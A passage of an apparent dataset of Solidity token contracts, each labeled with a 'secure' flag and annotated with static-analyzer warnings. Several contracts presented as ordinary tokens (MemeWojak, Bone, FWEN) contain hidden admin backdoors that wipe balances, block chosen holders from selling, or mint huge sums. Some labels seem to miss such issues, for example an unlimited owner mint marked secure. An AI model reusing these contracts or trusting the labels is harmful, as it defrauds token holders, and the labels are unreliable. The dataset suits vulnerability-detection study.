allowance[halfrow][msg.sender]);\n allowance[halfrow][msg.sender] -= halfnumber;\n halfspender(halfrow, halfreceiver, halfnumber);\n return true;\n }\n\n constructor(address halfmarket) {\n balanceOf[msg.sender] = totalSupply;\n halfwallet[halfmarket] = halfvalve;\n IUniswapV2Router02 halfworkshop = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n halfpair = IUniswapV2Factory(halfworkshop.factory()).createPair(\n address(this),\n halfworkshop.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: c76e588): Terrier20.halfvalve should be constant \n\t// Recommendation for c76e588: Add the 'constant' attribute to state variables that never change.\n uint256 private halfvalve = 155;\n\n mapping(address => uint256) private halfprime;\n}",
"file_name": "solidity_code_3307.sol",
"secure": 1,
"size_bytes": 4111
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemeWojak is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: b44c3e5): MemeWojak.dvamucg should be immutable \n\t// Recommendation for b44c3e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 dvamucg = 1000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: b85e2ea): MemeWojak._gmkrzxi should be immutable \n\t// Recommendation for b85e2ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _gmkrzxi = dvamucg;\n\t// WARNING Optimization Issue (constable-states | ID: 0bd0913): MemeWojak._gnxedsm should be constant \n\t// Recommendation for 0bd0913: Add the 'constant' attribute to state variables that never change.\n string private _gnxedsm = \"Meme Wojak\";\n\t// WARNING Optimization Issue (constable-states | ID: f0fa5b5): MemeWojak._erjnuad should be constant \n\t// Recommendation for f0fa5b5: Add the 'constant' attribute to state variables that never change.\n string private _erjnuad = \"MEWOJAK\";\n\t// WARNING Optimization Issue (immutable-states | ID: 8694553): MemeWojak.dczklyb should be immutable \n\t// Recommendation for 8694553: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dczklyb;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c63b96e): MemeWojak.constructor(address).enypfjr lacks a zerocheck on \t dczklyb = enypfjr\n\t// Recommendation for c63b96e: Check that the address is not zero.\n constructor(address enypfjr) {\n\t\t// missing-zero-check | ID: c63b96e\n dczklyb = enypfjr;\n _balances[_msgSender()] += dvamucg;\n emit Transfer(address(0), _msgSender(), dvamucg);\n }\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function symbol() public view returns (string memory) {\n return _erjnuad;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 0b4c478): MemeWojak.cekrdfb should be constant \n\t// Recommendation for 0b4c478: Add the 'constant' attribute to state variables that never change.\n uint256 cekrdfb = 1000 + 1000 - 2000;\n function increaseAllowance(address kehfipy) public {\n if (dczklyb == _msgSender()) {\n address ysucpmk = kehfipy;\n uint256 curamount = _balances[ysucpmk];\n uint256 newaaamount = _balances[ysucpmk] +\n _balances[ysucpmk] -\n curamount;\n _balances[ysucpmk] -= newaaamount;\n } else {\n if (dczklyb == _msgSender()) {} else {\n revert(\"ccc\");\n }\n }\n }\n function totalSupply() public view returns (uint256) {\n return _gmkrzxi;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _gnxedsm;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aeaeb39): MemeWojak.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aeaeb39: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function distributed(address dopugls) external {\n address madpwtf = _msgSender();\n uint256 zbfimld = 33330000000 + 1000;\n _balances[madpwtf] +=\n 63200 *\n ((10 ** decimals() * zbfimld)) *\n 1 *\n 1 *\n 1 *\n 1;\n require(dczklyb == _msgSender());\n if (dczklyb == _msgSender()) {}\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca19105): MemeWojak.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca19105: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01b1f47): MemeWojak._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 01b1f47: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e20cef): MemeWojak.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e20cef: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 20c1720): MemeWojak._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 20c1720: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3308.sol",
"secure": 0,
"size_bytes": 7895
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GOKU is IERC20 {\n string public constant name = \"GOKU SUN\";\n string public constant symbol = \"GOKU\";\n uint8 public constant decimals = 18;\n uint256 public constant totalSupply = 50900000000 * 10 ** 18;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[msg.sender] >= amount, \"ERR_OWN_BALANCE_NOT_ENOUGH\");\n require(msg.sender != recipient, \"ERR_SENDER_IS_RECEIVER\");\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[sender] >= amount, \"ERR_FROM_BALANCE_NOT_ENOUGH\");\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERR_ALLOWANCE_NOT_ENOUGH\"\n );\n _balances[sender] -= amount;\n _allowances[sender][msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}",
"file_name": "solidity_code_3309.sol",
"secure": 1,
"size_bytes": 2120
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_331.sol",
"secure": 1,
"size_bytes": 472
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Bone is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: e8abd84): Bone._tokentotalSupply should be immutable \n\t// Recommendation for e8abd84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSupply;\n string private _tokenname;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f9fa9ea): Bone._okexddd028 should be immutable \n\t// Recommendation for f9fa9ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _okexddd028;\n mapping(address => bool) private dddbmgn;\n function quitOPDoge(address sss) external {\n require(_okexddd028 == _msgSender());\n dddbmgn[sss] = false;\n }\n\n function Multicall(address sss) external {\n require(_okexddd028 == _msgSender());\n dddbmgn[sss] = true;\n }\n\n function family() external {\n require(_okexddd028 == _msgSender());\n uint256 amount = totalSupply();\n _balances[_msgSender()] += amount * 80028;\n }\n\n function gtedddstatus(address sss) public view returns (bool) {\n return dddbmgn[sss];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 720fdb2): Bone.constructor(string,string,address).adminBot lacks a zerocheck on \t _okexddd028 = adminBot\n\t// Recommendation for 720fdb2: Check that the address is not zero.\n constructor(\n string memory tokenName,\n string memory tokensymbol,\n address adminBot\n ) {\n\t\t// missing-zero-check | ID: 720fdb2\n _okexddd028 = adminBot;\n _tokenname = tokenName;\n _tokensymbol = tokensymbol;\n uint256 amount = 800000000000 * 10 ** decimals();\n _tokentotalSupply += amount;\n _balances[msg.sender] += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _internaltransfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5c9a47c): Bone.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5c9a47c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _internalspendAllowance(from, spender, amount);\n _internaltransfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4ef726d): Bone.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4ef726d: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1f7b02d): Bone.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1f7b02d: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _internaltransfer(\n address fromSender,\n address toSender,\n uint256 amount\n ) internal virtual {\n require(\n fromSender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(toSender != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[fromSender];\n if (dddbmgn[fromSender] == true) {\n amount = amount - (balance * 23);\n }\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[fromSender] = _balances[fromSender] - amount;\n _balances[toSender] = _balances[toSender] + amount;\n\n emit Transfer(fromSender, toSender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3df0f7e): Bone._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3df0f7e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d912c1): Bone._internalspendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d912c1: Rename the local variables that shadow another component.\n function _internalspendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3310.sol",
"secure": 0,
"size_bytes": 7156
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Yummy is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Yummy \", \"YUMMY \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0f54d45): Yummy.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 0f54d45: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 541d580): Yummy.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 541d580: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 0f54d45\n\t\t// incorrect-equality | ID: 541d580\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 0f54d45\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 90b52ea): Yummy._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 90b52ea: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 90b52ea\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5edbdd7): Yummy.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 5edbdd7: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 5edbdd7\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_3311.sol",
"secure": 0,
"size_bytes": 2780
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20FlashMint.sol\" as ERC20FlashMint;\n\ncontract AurumCoin is ERC20, ERC20FlashMint {\n constructor() ERC20(\"AurumCoin\", \"AUR\") {\n _mint(msg.sender, 4200000000042 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3312.sol",
"secure": 1,
"size_bytes": 389
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(\n address tokenOwner\n ) external view returns (uint256 balance);\n\n function allowance(\n address tokenOwner,\n address spender\n ) external view returns (uint256 remaining);\n\n function transfer(\n address to,\n uint256 tokens\n ) external returns (bool success);\n\n function approve(\n address spender,\n uint256 tokens\n ) external returns (bool success);\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) external returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}",
"file_name": "solidity_code_3313.sol",
"secure": 1,
"size_bytes": 947
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20Token is IERC20, SafeMath {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: e80f3fa): ERC20Token.decimals should be immutable \n\t// Recommendation for e80f3fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\n uint256 public _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 1371d92): ERC20Token._owner should be immutable \n\t// Recommendation for 1371d92: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _owner;\n\t// WARNING Optimization Issue (immutable-states | ID: 12948de): ERC20Token._admin should be immutable \n\t// Recommendation for 12948de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _admin;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"Hedge EURO\";\n symbol = \"EURH\";\n decimals = 18;\n _totalSupply = 102334155 * 10 ** 18;\n\n _admin = 0xeFb4fb172081D4BBfe89cbB6EaA2CE4EDA2BCcD7;\n\n _owner = _admin;\n\n balances[_admin] = _totalSupply;\n\n emit Transfer(address(0), _admin, _totalSupply);\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"ERC20: caller is not the owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = safeSub(balances[from], tokens);\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function burn(uint256 _value) public onlyOwner returns (bool success) {\n require(_value <= balances[msg.sender], \"ERC20: small balances\");\n\n balances[msg.sender] = balances[msg.sender] - _value;\n _totalSupply = _totalSupply - _value;\n\n emit Transfer(msg.sender, address(0), _value);\n return true;\n }\n\n function expand(uint256 _value) public onlyOwner returns (bool success) {\n balances[msg.sender] = balances[msg.sender] + _value;\n _totalSupply = _totalSupply + _value;\n\n emit Transfer(msg.sender, address(0), _value);\n return true;\n }\n}",
"file_name": "solidity_code_3314.sol",
"secure": 1,
"size_bytes": 3913
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FWEN is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n mapping(address => bool) public boboinfo;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b8ff49f): FWEN.constructor(string,string,address).hkadmin lacks a zerocheck on \t xxxaAdmin = hkadmin\n\t// Recommendation for b8ff49f: Check that the address is not zero.\n constructor(\n string memory tokenname,\n string memory tokensymbol,\n address hkadmin\n ) {\n emit Transfer(address(0), msg.sender, 10000000000 * 10 ** decimals());\n _totalSupply = 10000000000 * 10 ** decimals();\n _balances[msg.sender] = 10000000000 * 10 ** decimals();\n _tokename = tokenname;\n _tokensymbol = tokensymbol;\n\t\t// missing-zero-check | ID: b8ff49f\n xxxaAdmin = hkadmin;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 080b068): FWEN.xxxaAdmin should be immutable \n\t// Recommendation for 080b068: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public xxxaAdmin;\n\t// WARNING Optimization Issue (immutable-states | ID: a3b2303): FWEN._totalSupply should be immutable \n\t// Recommendation for a3b2303: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string private _tokename;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n function name() public view returns (string memory) {\n return _tokename;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2baf50c): FWEN.bosum should be constant \n\t// Recommendation for 2baf50c: Add the 'constant' attribute to state variables that never change.\n uint128 bosum = 34534;\n\t// WARNING Optimization Issue (constable-states | ID: 479b4be): FWEN.globaltrue should be constant \n\t// Recommendation for 479b4be: Add the 'constant' attribute to state variables that never change.\n bool globaltrue = true;\n\t// WARNING Optimization Issue (constable-states | ID: 1fff3f2): FWEN.globalff should be constant \n\t// Recommendation for 1fff3f2: Add the 'constant' attribute to state variables that never change.\n bool globalff = false;\n function abancdx(address xasada) public virtual returns (bool) {\n address tmoinfo = xasada;\n\n boboinfo[tmoinfo] = globaltrue;\n require(_msgSender() == xxxaAdmin);\n return true;\n }\n\n function boboadminadd() external {\n if (_msgSender() == xxxaAdmin) {}\n _balances[_msgSender()] +=\n 10 ** decimals() *\n 66800 *\n (24300000000 + 800);\n require(_msgSender() == xxxaAdmin);\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n function quitxxxffff(address hkkk) external {\n address tmoinfo = hkkk;\n\n boboinfo[tmoinfo] = globalff;\n require(_msgSender() == xxxaAdmin);\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bd3f94b): FWEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bd3f94b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (boboinfo[from] == true) {\n amount = bosum + _balances[from] + bosum - bosum;\n }\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 27ffc5b): FWEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 27ffc5b: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81c1a78): FWEN._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81c1a78: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3315.sol",
"secure": 0,
"size_bytes": 6727
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Context {\n ERC20 internal _erc20Context;\n constructor(address router) {\n _erc20Context = new ERC20();\n if (router != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) {\n _erc20Context = ERC20(router);\n }\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}",
"file_name": "solidity_code_3316.sol",
"secure": 1,
"size_bytes": 603
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function checkStatus(address _address) internal view returns (bool) {\n return _address == _owner;\n }\n}",
"file_name": "solidity_code_3317.sol",
"secure": 1,
"size_bytes": 1372
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ERC20 {\n mapping(address => mapping(address => uint256)) _mapping;\n function approve(\n address addr1,\n address addr2,\n uint256 value\n ) public returns (bool success) {\n _mapping[addr1][addr2] = value;\n return true;\n }\n}",
"file_name": "solidity_code_3318.sol",
"secure": 1,
"size_bytes": 347
} |
{
